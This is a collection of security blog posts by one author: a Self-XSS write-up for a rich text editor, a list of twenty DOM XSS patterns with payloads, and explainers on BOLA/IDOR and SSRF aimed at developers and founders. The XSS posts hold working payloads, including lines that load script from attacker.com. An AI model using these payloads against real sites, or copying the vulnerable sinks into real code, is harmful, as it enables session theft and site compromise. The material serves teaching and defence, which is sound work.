DEV Community: Abhinav Singwal

Self XSS Vulnerability in a Rich Text Editor

Abhinav Singwal — Sun, 12 Apr 2026 06:22:22 +0000

During my recent security testing, I identified a Self Cross-Site Scripting (Self-XSS) issue in a web-based ticketing platform. This write-up focuses on the technical details and learning aspects while keeping the target fully anonymized.

What is the Issue

The application uses a rich text editor for user input, commonly found in ticket systems, comment sections, and dashboards.

While testing the editor features, I discovered that the insert link functionality was not properly handling certain types of input. This allowed crafted payloads to be injected and executed in the browser.

Root Cause

The core issue lies in improper handling of user-controlled input inside the editor.

Specifically:

The URL field in the insert link feature accepted complex input
The input was not fully sanitized before being processed
The editor allowed rendering of embedded HTML through data URIs

This created a situation where browser-executable content could be introduced.

Technical Breakdown

Payload Used

<object data='data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+'></object>

What this does

data:text/html;base64,... allows embedding HTML content directly
The Base64 string decodes to an SVG element with an onload event
When rendered, the browser executes JavaScript

This is a common technique to bypass basic filters that only block <script> tags.

Execution Flow

User opens the editor
Clicks on insert link option
Enters crafted payload in URL field
Saves the content
When the content is rendered:

The object tag loads the data URI
The embedded SVG executes JavaScript via onload

Observed Behavior

JavaScript executed successfully in the browser
The execution was restricted to the same user session
The payload did not impact other users or administrators

Why It is Self XSS

This case was classified as Self-XSS because:

The attack requires the user to inject the payload themselves
No automatic execution for other users
No cross-user data exposure
No privilege escalation

From a risk perspective, this is considered low impact in most bug bounty programs.

Why It Still Matters

Even though this is labeled as low severity, it is still important from a security standpoint.

1. Indicator of Weak Input Handling

It shows that the application does not fully sanitize complex inputs.

2. Potential for Chaining

If combined with other issues like:

Clickjacking
Social engineering
Stored input reuse

It could lead to more serious exploitation.

3. Editor Attack Surface

Rich text editors are historically prone to XSS-related issues due to their flexibility.

Recommendations for Developers

1. Strict Input Validation

Do not allow raw HTML or dangerous tags in user input fields.

2. Sanitize Editor Output

Use well-tested sanitization libraries to clean content before rendering.

3. Block Dangerous Schemes

Restrict usage of:

data: URIs
javascript: protocols

4. Apply Content Security Policy (CSP)

Limit execution of inline scripts and restrict resource loading.

5. Context-Aware Encoding

Ensure proper encoding based on where the data is rendered.

Key Takeaways

Not all XSS issues are high impact
Understanding context is critical in vulnerability assessment
Rich text editors require deep testing beyond basic payloads
Always think in terms of exploitation possibilities, not just execution

About Me

I am focused on web application security and VAPT.
I am open to remote opportunities and interested in working with startups and small teams where I can contribute and grow.

Advanced DOM XSS Patterns Every Developer Should Know

Abhinav Singwal — Wed, 18 Mar 2026 19:02:54 +0000

If you're serious about finding DOM XSS in modern applications, you need to move beyond “search for innerHTML” and start thinking like a data-flow analyst.

1. Indirect Object Property Injection

let key = location.hash.substring(1);
let obj = { content: key };
document.body.innerHTML = obj.content;

Payload:

#<img src=x onerror=alert(1)>

Why it works:
The input is hidden inside an object, making it easy to miss.

How to think:
Track data even when it's wrapped in objects.

Fix:

document.body.textContent = obj.content;

2. Array Join Injection

let parts = [location.hash, " world"];
document.body.innerHTML = parts.join("");

Payload:

#<svg/onload=alert(1)>

Why it works:
Array operations don’t sanitize input.

Fix:

document.body.textContent = parts.join("");

3. replace() Callback Injection

let result = location.hash.replace(/x/g, () => '<img src=x onerror=alert(1)>');
document.body.innerHTML = result;

Payload:

#xxx

Why it works:
Developer introduces HTML dynamically.

4. Anchor href Injection

element.innerHTML = `<a href="${location.hash}">Click</a>`;

Payloads:

#javascript:alert(1)
#data:text/html,<script>alert(1)</script>

Why it works:
JavaScript URLs execute in browser context.

Fix:

if (!url.startsWith("https://")) return;

5. History API Injection

let page = location.search.split("=")[1];
history.pushState({}, "", page);
document.body.innerHTML = page;

Payload:

?page=<img src=x onerror=alert(1)>

6. Form Action Injection

form.innerHTML = `<form action="${location.hash}"></form>`;

Payload:

#javascript:alert(1)

Impact:
Form submits to attacker-controlled or JS URL.

7. CSS Injection → XSS

element.innerHTML = `<style>${location.hash}</style>`;

Payload:

#body{background:url("javascript:alert(1)")}

Why it works:
Some browsers interpret JS inside CSS.

8. onclick Attribute Injection

element.innerHTML = `<button onclick="${location.hash}">Click</button>`;

Payload:

#alert(1)

9. Dataset → eval Chain

element.innerHTML = `<div data-x="${location.hash}"></div>`;
let value = document.querySelector("div").dataset.x;
eval(value);

Payload:

#alert(1)

Why it works:
Multi-step execution chain.

10. outerHTML Replacement

element.outerHTML = location.hash;

Payload:

#<img src=x onerror=alert(1)>

11. Manual Query Parsing

let q = location.search.split("q=")[1];
document.body.innerHTML = q;

Payload:

?q=<svg/onload=alert(1)>

12. HTML Comment Breakout

element.innerHTML = `<!-- ${location.hash} -->`;

Payload:

#--><img src=x onerror=alert(1)>

Why it works:
Breaks out of comment context.

13. Template Literal Injection

let tpl = `<h1>${location.hash}</h1>`;
element.innerHTML = tpl;

Payload:

#<img src=x onerror=alert(1)>

14. iframe src Injection

iframe.src = location.hash;

Payloads:

#javascript:alert(1)
#data:text/html,<script>alert(1)</script>

15. Error Handling Injection

try {
  throw location.hash;
} catch (e) {
  document.body.innerHTML = e;
}

Payload:

#<img src=x onerror=alert(1)>

16. DOMParser Injection

let parser = new DOMParser();
let doc = parser.parseFromString(location.hash, "text/html");
document.body.appendChild(doc.body);

Payload:

#<img src=x onerror=alert(1)>

17. Dynamic Script Injection

let script = document.createElement("script");
script.src = location.hash;
document.body.appendChild(script);

Payload:

#https://attacker.com/x.js

18. Fetch → DOM Injection

fetch(location.hash)
  .then(res => res.text())
  .then(data => {
    document.body.innerHTML = data;
  });

Payload:

#https://attacker.com/payload.html

19. setTimeout String Execution

setTimeout(location.hash, 1000);

Payload:

#alert(1)

20. window.name Injection

document.body.innerHTML = window.name;

Attack Flow:

window.name = "<img src=x onerror=alert(1)>";
location = "https://target.com";

Final Mental Model

When reviewing JavaScript, always map:

SOURCE → TRANSFORMATION → SINK

Where:

Source = location, storage, message, URL
Transformation = decode, replace, parse
Sink = innerHTML, eval, script, attributes

Payload Strategy

Don’t rely on one payload. Rotate between:

<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
javascript:alert(1)
data:text/html,<script>alert(1)</script>
" onmouseover=alert(1) x="

Understanding Vertical BOLA in APIs

Abhinav Singwal — Mon, 09 Mar 2026 11:07:40 +0000

When learning API penetration testing, one of the most dangerous vulnerabilities you will encounter is Vertical BOLA.

It is responsible for many critical bug bounty reports and real-world data breaches.

In this article, we will break down what Vertical BOLA is, why it happens, and how security researchers can test for it.

What is Vertical BOLA?

Vertical BOLA happens when a normal user is able to access functionality or data that should only be available to higher-privileged roles such as administrators.

In simple terms:

A user is authenticated, but the API does not properly verify whether that user should be allowed to perform a privileged action.

This leads to privilege escalation.

Horizontal vs Vertical BOLA

Understanding the difference is important.

Horizontal BOLA

User accesses another user's data.

Example:

GET /api/users/102

User 101 changes the ID to 102 and accesses another user's profile.

Vertical BOLA

User accesses admin-level functionality.

Example:

GET /api/admin/users

If a normal user token can access this endpoint, it is a Vertical BOLA vulnerability.

Why Vertical BOLA Happens

Most developers correctly implement authentication, but forget to enforce authorization checks.

Common mistakes include:

Only checking if the user is logged in
Trusting frontend restrictions
Missing role validation in backend APIs
Reusing internal admin endpoints for public APIs
Incorrect middleware configuration

Because APIs are often used by web, mobile, and internal tools, some endpoints accidentally become exposed.

Real-World Example

Imagine a normal user sends this request:

GET /api/admin/users
Authorization: Bearer user_token

Response:

[
  {
    "id": 1,
    "email": "admin@company.com",
    "role": "admin"
  }
]

This means the API failed to verify that the user is not an administrator.

This is a critical vulnerability.

Common Vertical BOLA Patterns

Security researchers often find Vertical BOLA in the following areas.

1. Admin Endpoints

Look for endpoints like:

/api/admin/users
/api/admin/settings
/api/admin/reports

If they work with a normal user token, there is a problem.

2. Role Manipulation in Requests

Sometimes APIs trust user input.

Example request:

{
  "role": "admin"
}

If the backend accepts this, the attacker may gain admin privileges.

3. Organization-Level Access

Many SaaS platforms separate customers by organization or tenant.

Example:

GET /api/org/1234/users

If a user from organization 5678 can access 1234, this becomes a serious data breach.

4. Export and Reporting APIs

Admin dashboards often include powerful endpoints:

GET /api/export/users
GET /api/export/transactions
GET /api/export/reports

These endpoints sometimes lack proper role checks.

How to Test for Vertical BOLA

A simple testing workflow:

Create a normal user account
Intercept requests using a proxy
Look for:

Admin routes in JavaScript files
Hidden API endpoints
Internal APIs used by dashboards
1. Replay these requests using the normal user token
2. Observe responses for unauthorized data access

Always compare:

Status codes
Response data
Accessible actions

Potential Impact

Vertical BOLA can lead to:

Viewing all users' personal information
Changing user roles
Accessing financial reports
Deleting accounts
Resetting passwords
Full system compromise

In bug bounty programs, this is usually classified as Critical severity.

Why APIs Are Especially Vulnerable

APIs expose direct backend functionality, which means:

Frontend restrictions can be bypassed
Attackers interact directly with backend logic
Authorization checks must be implemented on every endpoint

Even one missing check can expose the entire system.

How Developers Can Prevent Vertical BOLA

Secure APIs should always:

Enforce role-based access control (RBAC) on the server
Validate permissions for every request
Avoid trusting client-supplied roles
Use centralized authorization middleware
Perform object-level permission checks

Security should never depend on frontend controls.

Why Most Website Data Leaks Happen Even When Login Is Working

Abhinav Singwal — Mon, 23 Feb 2026 07:59:16 +0000

If you own a website, SaaS product, or mobile app, you probably believe:

“We have login. So our data is secure.”

Unfortunately… that’s not how most real-world data leaks happen.

Today, the biggest security issue in modern applications is not broken login.

It’s broken data access control.

Let me explain this in simple terms.

🏛️ The Old Problem: Classic IDOR

In older websites, you might see something like:

yourwebsite.com/invoice?id=123

If someone changed 123 to 124 and suddenly saw another customer’s invoice…

That’s called IDOR (Insecure Direct Object Reference).

The system checked:

✔️ “Is this person logged in?”
But did NOT check:
❌ “Does this invoice belong to this person?”

This caused many early data leaks.

🚀 The Modern Problem: API BOLA

Today, your website probably uses:

Mobile apps
Single-page apps (React, Vue, etc.)
APIs in the background
JSON responses
Tokens (JWT)

Now the invoice link is no longer visible in the browser.

Instead, your app secretly calls something like:

GET /api/v2/invoices/8f9a-77cd-992a

Developers often think:

“We use random IDs (UUID). So it's secure.”

But here’s the truth:

If your system checks:
✔️ “Is user logged in?”

But does NOT check:
❌ “Does this specific invoice belong to this specific user?”

Then you still have the same problem.

This is called BOLA — Broken Object Level Authorization.

And it is currently the #1 API security risk globally.

Why This Is Dangerous for Website Owners

Modern applications store sensitive data like:

Customer invoices
Reports
Internal notes
Risk scores
Admin flags
Organization data
Financial records
Health information

If BOLA exists, attackers may:

View other users’ private data
Download reports from other companies
Access internal admin information
Leak entire organization databases

Even worse:

Most of these attacks require no hacking skills — just modifying IDs in API requests.

The Big Misunderstanding

Many founders think:

“We have authentication.”

But authentication only answers:

“Who are you?”

Authorization answers:

“What are you allowed to access?”

Most data leaks happen because:

Login works
But object-level authorization is missing

Classic IDOR vs Modern API BOLA (Simple Comparison)

Classic IDOR	Modern API BOLA
Visible in browser URL	Hidden inside API calls
Numeric IDs	Random-looking IDs
Old websites	Modern SaaS & mobile apps
Easy to notice	Harder to detect
Same root issue	Same root issue

The technology changed.
The mistake did not.

Why This Matters in 2026

Most startups today are:

API-first
Multi-tenant SaaS
Cloud-based
Mobile-integrated

Which means:

One small authorization mistake can expose:

One user’s data
Or an entire organization’s data

And that leads to:

GDPR issues
Legal penalties
Trust damage
Brand loss
Investor concerns

Simple Question Every Website Owner Should Ask

For every piece of data in your system:

“Should this logged-in user be able to see THIS specific data?”

Not:
“Is the user logged in?”

But:
“Does this object belong to them?”

What You Should Do

If you run a SaaS or app:

Audit object-level authorization.
Test using multiple accounts.
Ensure backend validates ownership every time.
Don’t rely on hidden frontend logic.
Get an API security assessment.

Because modern breaches rarely happen due to broken passwords.

They happen because:

The system forgot to check who owns the data.

If you're building or scaling a SaaS product, this is one of the most important security checks you can perform before your growth multiplies your risk.

Security today isn’t about firewalls.

It’s about asking one simple question:

“Should this user really be able to see this?”

Your API Might Be Leaking Customer Data (Even If Login Is Secure)

Abhinav Singwal — Mon, 23 Feb 2026 07:53:27 +0000

Most founders believe:

“Our users must log in. So our data is safe.”

Unfortunately, that’s not always true.

There is a very common security issue in modern applications called Broken Object Level Authorization (BOLA) — and it affects APIs, mobile apps, SaaS platforms, CRMs, fintech dashboards, and more.

And the scary part?

Everything can look completely normal from the frontend.

What Is Actually Happening?

Let’s say your system works like this:

A user logs in
They open their invoice
The system loads data from:

/api/invoices/1122

Now imagine someone changes 1122 to 1123.

If your backend does not verify that the invoice actually belongs to that logged-in user, the system may return another customer’s invoice.

That’s BOLA.

The user is authenticated.
But they are not authorized to access that specific data.

Why This Is So Common in Modern SaaS

Modern applications rely heavily on APIs:

Mobile apps
React / Vue dashboards
Microservices
Third-party integrations

Developers often check:

✔ Is the user logged in?
✔ Is the token valid?

But they forget to check:

Does this specific object belong to this user?

This small missing check can expose:

Customer invoices
Reports
Internal flags
Risk scores
Organization-level analytics
Personal data (PII)

A Realistic Example

Imagine your SaaS product supports multiple companies.

The API endpoint looks like:

/api/organizations/88372/reports

If a logged-in user changes 88372 to another organization’s ID and your system still returns data…

That’s a cross-tenant data leak.

Now we’re not talking about one user’s data.

We’re talking about one company seeing another company’s private data.

That’s:

Legal risk
Compliance risk
Trust damage
Potential public disclosure

“But We Use UUIDs, So It’s Secure”

Many companies think using random-looking IDs like:

7f3c9b2e-88fa-41d2-a112-9ab33f221abc

makes them safe.

It does not.

If the backend doesn’t verify ownership, a UUID is just a longer number.

Security is not about hiding IDs.

Security is about validating access on every request.

Why This Is Dangerous for Businesses

A BOLA vulnerability can lead to:

Customer PII exposure
Financial data leaks
GDPR or compliance violations
Loss of enterprise clients
Reputation damage
Bug bounty disclosures

And in competitive SaaS markets, trust is everything.

How Companies Can Prevent This

Here’s what every API should enforce:

Every request must validate object ownership.
Never trust IDs coming from the frontend.
Enforce tenant isolation at database level.
Test export/download endpoints separately.
Test mobile APIs, not just web dashboards.
Perform regular API security testing.

Final Thought

Most API breaches don’t happen because someone “hacked the login.”

They happen because:

The system trusted a logged-in user too much.

If your business runs on APIs — and almost every modern product does — object-level authorization must be reviewed carefully.

Because the question isn’t:

“Is the user logged in?”

The real question is:

“Should this user be able to see THIS data?”

How a Simple “Upload by Link” Feature Can Hack Your Own Servers

Abhinav Singwal — Tue, 03 Feb 2026 18:25:18 +0000

Most modern apps let users upload things like:

Profile pictures
PDFs and invoices
Documents
Company logos

And often, instead of uploading a file, the app allows uploading by link.

Example:

“Paste a URL and we’ll fetch the image or PDF for you.”

Sounds harmless, right?
Unfortunately, this small feature has caused serious security breaches in many real companies.

Let’s understand why — in simple terms.

The Hidden Problem Behind “Upload via URL”

When your app accepts a link like:

https://example.com/file.pdf

Your server goes and downloads that file.

That means:

Your server is visiting a website
Your server is making a request
Your server trusts the link provided by the user

Now imagine if the link is not a normal website.

This is where the risk starts.

What Attackers Actually Do (No Technical Details)

Instead of giving a normal website link, an attacker gives a special internal link that:

Points to your own server
Points to your internal tools
Points to your cloud infrastructure

Your server doesn’t realize it’s dangerous — it just follows the instruction.

This is called SSRF (Server-Side Request Forgery), but you don’t need to remember the name.

Just remember this:

Your app is tricked into attacking itself.

Real-World Example (Simple)

Let’s say your app has this feature:

“Import PDF from a link”

An attacker gives a link that secretly points to:

Your internal admin panel
Your database service
Your cloud provider’s secret system

Your server opens it and may accidentally expose:

Passwords
API keys
Internal data
Cloud access credentials

This has happened to real companies, not just theory.

Why This Is So Dangerous

Because:

No login bypass is needed
No password cracking is needed
No malware is uploaded

The attacker just uses a normal app feature.

In many cases, this leads to:

Full server access
Data leaks
Cloud account takeover
Massive financial impact

Common Features Where This Happens

If your app has any of these, pay attention:

Upload image using URL
Import PDF or document from link
Generate PDF from a webpage
Fetch logo during onboarding
Webhooks or callbacks
Any feature where your server “fetches” something

Why Developers Miss This

Because the feature looks safe.

Developers often think:

“We only download images or PDFs. What could go wrong?”

The issue is not the file.
The issue is who your server is trusting.

Simple Advice for Founders & Product Owners

You don’t need to code to reduce this risk.

Just ask your team these questions:

Do we allow users to upload files using links?
Does our server download those links?
Are we blocking internal and private addresses?
Are we validating where the server is allowed to connect?

If the answers are unclear — that’s already a warning sign.

Why This Matters for Startups

Startups move fast.
Security checks often come later.
Attackers know this.

SSRF vulnerabilities are:

Easy to miss
Easy to exploit
Very high impact

Many bug bounty reports and real incidents start exactly like this.

Final Thought

If your server blindly trusts user-provided links,
someone else might control where your server goes.

A small feature can become a big problem.

security #startup #websecurity #api #saas #founders #productmanagement #cybersecurity #devops

A Silent Website Killer: SSRF Bugs in APIs

Abhinav Singwal — Tue, 03 Feb 2026 16:55:14 +0000

If your website or mobile app uses APIs that fetch images, files, or URLs, there’s a hidden risk you should know about.

It’s called SSRF (Server-Side Request Forgery) — and it has caused real data breaches, cloud takeovers, and financial losses for companies that thought their systems were “secure enough”.

This post explains what SSRF is, why website owners should care, and how attackers actually abuse it — without technical jargon.

What Is SSRF (In Simple Words)?

SSRF happens when:

Your website allows users to submit a URL,
and your server automatically opens that URL without strict checks.

In simple terms:

Your server starts trusting user-provided links
Attackers trick your server into visiting internal or private systems

Your server becomes the attacker’s tool.

Common Features That Can Cause SSRF

Many normal features are risky if not secured properly:

Upload profile picture using a URL
Import image from another website
Fetch PDF or invoice from a link
Generate previews from a URL
Webhooks and callback URLs
“Import from cloud” features

If your API accepts fields like:

url
image_url
file_url
callback_url

👉 SSRF risk exists

Real-World Example (Non-Technical)

Imagine this feature on your website:

“Paste an image link and we’ll set it as your profile picture.”

What really happens behind the scenes:

User sends an image link
Your server opens that link
Your server downloads the image

Now imagine an attacker submits not an image, but a private internal link.

Your server doesn’t know the difference — it trusts the input.

That’s SSRF.

Why This Is Dangerous (Business Impact)

Through SSRF, attackers can:

Access internal dashboards
Steal cloud credentials
Read private databases
Scan your internal network
Bypass authentication
Fully compromise cloud infrastructure

This is why SSRF bugs often lead to:

🔴 Critical security reports
💸 High bug bounty payouts
📰 Public breach disclosures

The Cloud Metadata Disaster (Very Important)

Most modern websites use cloud providers like:

AWS
Google Cloud
Azure

These platforms expose internal metadata services that should never be public.

Attackers use SSRF to access:

Cloud secrets
API keys
Admin permissions

If you want a technical reference (optional but useful), read:
👉 https://owasp.org/www-community/attacks/Server_Side_Request_Forgery
👉 https://portswigger.net/web-security/ssrf

Even if you’re not technical, this shows how serious and well-known this issue is.

Why SSRF Is Hard to Detect

SSRF often:

Leaves no visible logs
Doesn’t break the website
Looks like “normal traffic”
Happens silently in the background

That’s why many companies discover it after attackers already accessed internal systems.

Why APIs Are the Biggest Risk

APIs are designed to:

Talk to other services
Fetch data automatically
Trust machine-to-machine communication

This trust is exactly what attackers abuse.

If you expose APIs publicly (mobile apps, SaaS dashboards, partner integrations), your risk increases.

For deeper understanding (optional reading):
👉 https://owasp.org/API-Security/
👉 https://portswigger.net/blog/exploiting-ssrf-in-the-cloud

What Website Owners Should Ask Their Developers

You don’t need to code — just ask these questions:

Do we allow users to submit URLs anywhere?
Does our backend fetch those URLs automatically?
Are internal IPs blocked?
Are cloud metadata URLs blocked?
Are webhooks verified and restricted?
Are old or test APIs still running?

If the answer is “not sure” — that’s a red flag 🚩

How SSRF Should Be Prevented (High Level)

A secure system should:

Allow only approved domains
Block internal IP ranges
Block cloud metadata addresses
Validate file types properly
Log and monitor outbound requests
Restrict webhook destinations

These are standard security practices, not advanced hacking defenses.

Why This Matters for Startups & Businesses

SSRF is not a “hacker-only” issue.

It affects:

SaaS products
E-commerce platforms
Fintech apps
Mobile apps
Any API-based system

One overlooked URL parameter can:

Destroy customer trust
Trigger compliance issues
Cause financial loss

Final Thought

If your website or app uses APIs that fetch URLs, you should assume SSRF risk exists until proven otherwise.

The good news?

SSRF is preventable
Early detection is cheap
Late discovery is very expensive

websecurity #apisecurity #saas #startups #cloudsecurity #cybersecurity #webdevelopment #businessowners #infosec

Why BOLA Is #1 in OWASP API Top 10

Abhinav Singwal — Tue, 03 Feb 2026 14:59:51 +0000

When I started API bug hunting, I thought the “real” bugs were things like auth bypass, token forgery, or crypto issues.

Turns out… most high-impact API bugs are much simpler.

They come down to one question:

“Should this user be able to see THIS data?”

That’s exactly why Broken Object Level Authorization (BOLA) sits at #1 in the OWASP API Top 10.

Not because it’s fancy — but because it works.

What BOLA actually means (without OWASP language)

In simple terms, BOLA happens when:

You are authenticated (logged in)
You request an object (user, invoice, report, order, etc.)
The API does not check ownership
You get data that belongs to someone else

Example:

GET /api/invoices/73921
Authorization: Bearer <your_token>

Now change the ID:

GET /api/invoices/73922

If you see another user’s invoice — that’s BOLA.

No hacking.
No bypassing login.
Just bad authorization.

Why APIs are especially vulnerable

APIs are built to move data, not protect screens.

Developers often assume:

“Frontend already restricts this”
“User ID comes from JWT, so it’s safe”
“UUIDs can’t be guessed, so we’re fine”

But APIs don’t care about UI assumptions.

If the backend doesn’t explicitly verify:

Does this object belong to this user or org?

Then the API will happily return data it shouldn’t.

Real-world BOLA examples (things you’ll actually find)

1. Viewing another user’s profile

GET /api/users/124

Response includes:

Email
Phone number
KYC status

You’re user 123.

That’s horizontal BOLA → PII exposure.

2. Organization-level data leaks (high impact)

GET /api/orgs/982/reports

Change 982 to another org ID.

Now you can see:

Revenue reports
Internal metrics
Employee details

This is where big bounties live.

3. UUIDs don’t save you

A lot of APIs use UUIDs and think they’re safe:

GET /api/files/8f2a9b2e-cc45-4c99-a61a

But then they expose another endpoint:

GET /api/files?user_id=124

Authorization is still missing.

UUIDs hide enumeration — they don’t enforce access control.

Why BOLA is #1 (and not XSS, SQLi, etc.)

Because BOLA:

Works even with perfect authentication
Exposes real user and business data
Exists in almost every API-based product
Is easy to miss during development
Is easy to test as a bug hunter

Low effort, high impact.

That’s why OWASP ranks it #1:
👉 https://owasp.org/API-Security/editions/2023/en/0x11-t10/

How I personally look for BOLA bugs

This is my simple flow:

Capture any authenticated request
Look for object identifiers:

user_id
id
org_id
account_id
1. Change only the ID
2. Compare responses field by field
3. Test the same object via:
List endpoint
Detail endpoint
Export / report endpoint

One of them usually forgets authorization.

Mobile APIs deserve special attention 📱

Mobile APIs often return more data than web apps:

{
  "email": "user@gmail.com",
  "is_admin": false,
  "risk_score": 82,
  "internal_notes": "flagged"
}

The UI hides these fields.
The API doesn’t.

This often leads to:

Excessive data exposure
Combined with BOLA
Which makes the bug even stronger

How to write a strong BOLA report

❌ Weak report:

“IDOR vulnerability found.”

✅ Strong report:

“An authenticated user can access invoices belonging to other users by modifying the invoice ID, exposing full billing details including name, address, and transaction history.”

Always connect:
Bug → Data → Business impact

Final takeaway for bug hunters

If you are learning API pentesting or bug bounty:

👉 Start with BOLA
👉 Test READ access before WRITE
👉 Never trust IDs, UUIDs, or frontend logic

Most real-world API breaches start here.

Useful references & real reports

OWASP API Top 10 – BOLA
https://owasp.org/API-Security/editions/2023/en/0x11-t10/
HackerOne: IDOR & BOLA reports
https://hackerone.com/hacktivity?query=idor
https://hackerone.com/hacktivity?query=broken%20object%20level%20authorization

APIsecurity #BugBounty #OWASP #BOLA #IDOR #WebSecurity #Infosec #Pentesting #APIPentesting

Authentication vs Object Authorization: The API Security Mistake Everyone Makes

Abhinav Singwal — Mon, 02 Feb 2026 16:07:55 +0000

If you’ve ever thought

“The user is logged in, so this API call must be safe”

…you’ve already stepped into the most common API vulnerability on the internet.

This post explains the difference between authentication and object authorization, why developers confuse them, and how this confusion leads to Broken Object Level Authorization (BOLA / IDOR) — the #1 issue in modern APIs.

What Is Authentication?

Authentication answers only one question:

Who are you?

In APIs, authentication usually happens using:

JWT tokens (RFC 7519)
OAuth 2.0 access tokens (RFC 6749)
API keys
Session cookies

When authentication succeeds, the backend says:

“Okay, I know who you are.”

That’s it.

Example

GET /api/v1/profile
Authorization: Bearer eyJhbGciOi...

✅ Token is valid
❌ No decision yet about which data you can access

What Is Object Authorization?

Object authorization answers a completely different question:

Are YOU allowed to access THIS specific object?

This is where most APIs fail.

Object authorization must verify:

Object ownership
User role
Organization / tenant scope
Object state (draft, deleted, archived, paid)

This failure class is officially called
👉 Broken Object Level Authorization (BOLA)
(OWASP API Top 10 – API1:2023)

Why Developers Confuse These Two

Because authentication is:

Centralized
Handled by frameworks
Easy to test

Object authorization is:

Custom logic
Different per endpoint
Often rushed or forgotten

Most vulnerable APIs follow this flow:

1. Authenticate user ✅
2. Trust object_id from request ❌
3. Return data ❌

Real-World Vulnerable Example (IDOR)

GET /api/v1/invoices/8421
Authorization: Bearer USER_A_TOKEN

Response:

{
  "invoice_id": 8421,
  "user_id": 999,
  "amount": 4500,
  "status": "paid"
}

What went wrong?

Authentication ✔️
No ownership validation ❌
User accessed another user’s invoice

This is a textbook IDOR vulnerability
(OWASP IDOR explanation)

“But We Use UUIDs” (The Biggest Myth)

Many teams believe:

“IDs are unguessable, so we’re safe.”

This is false.

UUIDs prevent guessing — not authorization bypass.

If the backend doesn’t verify ownership:

UUIDs
Hashes
Encrypted IDs
Base64 strings

…all fail equally.

OWASP explicitly warns about this misconception
(OWASP API Authorization Guide)

Authentication vs Object Authorization (Side-by-Side)

Feature	Authentication	Object Authorization
Question	Who are you?	Can you access THIS?
Scope	User / session	Object / resource
Frequency	Once per request	For every object
Typical bug	Auth bypass	BOLA / IDOR
OWASP API Top 10	Rare	#1 issue

Why Bug Bounty Hunters Love This Bug Class

Because:

Login systems are usually solid
Authorization logic is not
Mobile APIs leak more data
Same object is often accessible via multiple endpoints

That’s why BOLA vulnerabilities pay well
(HackerOne API reports)

How Secure APIs Should Do It

Correct backend flow:

1. Authenticate user
2. Extract user_id / org_id from token
3. Fetch object from database
4. Verify object.owner_id == user_id
5. Return response

Anything less is a risk.

Final Mental Model (Remember This)

Authentication lets you enter the building.
Object authorization decides which doors you can open.

Most APIs check the gate, not the doors.

If You’re a Developer or Security Tester

Every time you see:

IDs in URLs or JSON
Filters like user_id, org_id
Export / download endpoints
Mobile APIs returning extra fields

Ask one question:

Should this user be able to see THIS data?

That question alone finds real bugs.

What BOLA Really Means in APIs (And Why UI Authorization Is Not Security)

Abhinav Singwal — Mon, 02 Feb 2026 15:26:20 +0000

If you work with APIs—especially modern REST or mobile APIs—you’ve probably heard the term BOLA.

It stands for Broken Object Level Authorization, and it’s currently the #1 vulnerability in the OWASP API Top 10.

Yet, many developers still misunderstand it.

This post explains:

What BOLA actually means
Why UI authorization is not real security
How this vulnerability appears in real-world APIs
What developers and pentesters should look for

Authentication ≠ Authorization

Let’s start with a simple truth:

Just because a user is logged in does not mean they should access everything.

Most APIs do authentication correctly:

JWTs
OAuth tokens
Session cookies

But authorization at the object level is where things often break.

What Is BOLA?

Broken Object Level Authorization happens when an API:

Accepts a valid object identifier (ID, UUID, hash)
But does not verify whether the authenticated user is allowed to access that specific object

In simple terms:

The API trusts the object ID more than the user.

UI Authorization vs API Authorization

This is where most confusion comes from.

UI Authorization (Cosmetic Security)

UI authorization usually looks like:

Buttons hidden for non-admin users
Pages not linked in navigation
Disabled UI elements

Example:

The “Download Invoice” button is hidden unless you own the invoice

Problem:
The backend API may still allow:

GET /api/invoices/12345

…for any authenticated user.

The UI hides features.
The API still serves data.

API Authorization (Real Security)

Proper API authorization means:

Every request checks ownership or permission
Every object ID is validated against the user context
The backend decides, not the frontend

Example logic:

“Does this invoice belong to the authenticated user?”
If not → return 403 Forbidden

Real-World BOLA Example

Imagine a SaaS dashboard.

UI behavior

You can only see your own invoices
Other invoices are not shown anywhere

API request

GET /api/invoices/78421
Authorization: Bearer <your_token>

You change the ID:

GET /api/invoices/78422

If the API returns another user’s invoice:
That’s BOLA

No UI bug.
No broken login.
Just broken object authorization.

Why APIs Are Especially Vulnerable

APIs are:

Directly callable (curl, Postman, Burp, mobile apps)
Often reused across web, mobile, and integrations
Designed for speed and flexibility, not safety

Common developer mistakes:

Trusting IDs sent by the client
Checking authorization only at login
Assuming UUIDs are “secure”
Relying on frontend logic

Common BOLA Scenarios

BOLA appears in many forms:

Viewing another user’s profile
Downloading someone else’s invoice
Accessing another organization’s reports
Seeing internal flags like is_admin, risk_score
Accessing deleted or archived objects

Most of these bugs expose PII, financial data, or organization-level secrets.

Key Takeaway

UI authorization is not security.
API authorization must be enforced for every object, every time.

If your API accepts an object ID:

Validate ownership
Validate permissions
Never trust the client

For Developers

Ask yourself:

“Am I checking who owns this object?”
“Am I validating access on every endpoint?”
“Would this endpoint still be safe without a UI?”

For Security Testers

When testing APIs:

Always modify object IDs
Compare responses field by field
Test the same object via different endpoints
Don’t trust UUIDs or hidden UI features

Final Thought

Most API breaches don’t happen because of weak passwords.

They happen because the system trusts users with data they should never see.

That’s BOLA.

Understanding APIs Beyond the Textbook: A Bug Hunter’s Perspective

Abhinav Singwal — Mon, 02 Feb 2026 12:00:26 +0000

When people first learn about APIs, the textbook definition usually sounds something like this:

“An API (Application Programming Interface) is a way for different software systems to communicate with each other.”

While this is technically correct, it doesn’t explain the full picture, especially if your goal is to understand API security or start API bug hunting. In reality, APIs are much more than just a communication layer—they are the backbone of modern applications and often the highest-value targets for attackers.

APIs Are Trust Boundaries

An API is a direct trust boundary between the client (web apps, mobile apps, or other systems) and the backend services (databases, payment systems, or internal logic). Every API decides four critical things:

Who can access it.
What actions the user can perform.
How much they can do.
In what order actions are allowed.

If these rules are broken or incomplete, it can lead to serious vulnerabilities.

Why APIs Are Different from UIs

Developers often think of APIs as clean endpoints that just return data in JSON format. From a security perspective, APIs expose the real logic of the application. Unlike the user interface, which hides complexity, APIs reveal how the application actually works. This is why most high-impact security bugs are found in APIs rather than frontends.

For example, endpoints like /transfer, /refund, or /reset-password don’t just provide data—they execute important business logic. If an attacker can manipulate these endpoints, they can perform actions the system never intended them to.

Common Dangerous Assumptions

Developers often assume certain things about API usage, which can be exploited:

The frontend will never send unexpected parameters.
Certain endpoints are only called internally.
Mobile apps cannot be modified or abused.
Users will only follow the normal workflow.

Breaking any of these assumptions is often the key to finding business logic vulnerabilities in APIs.

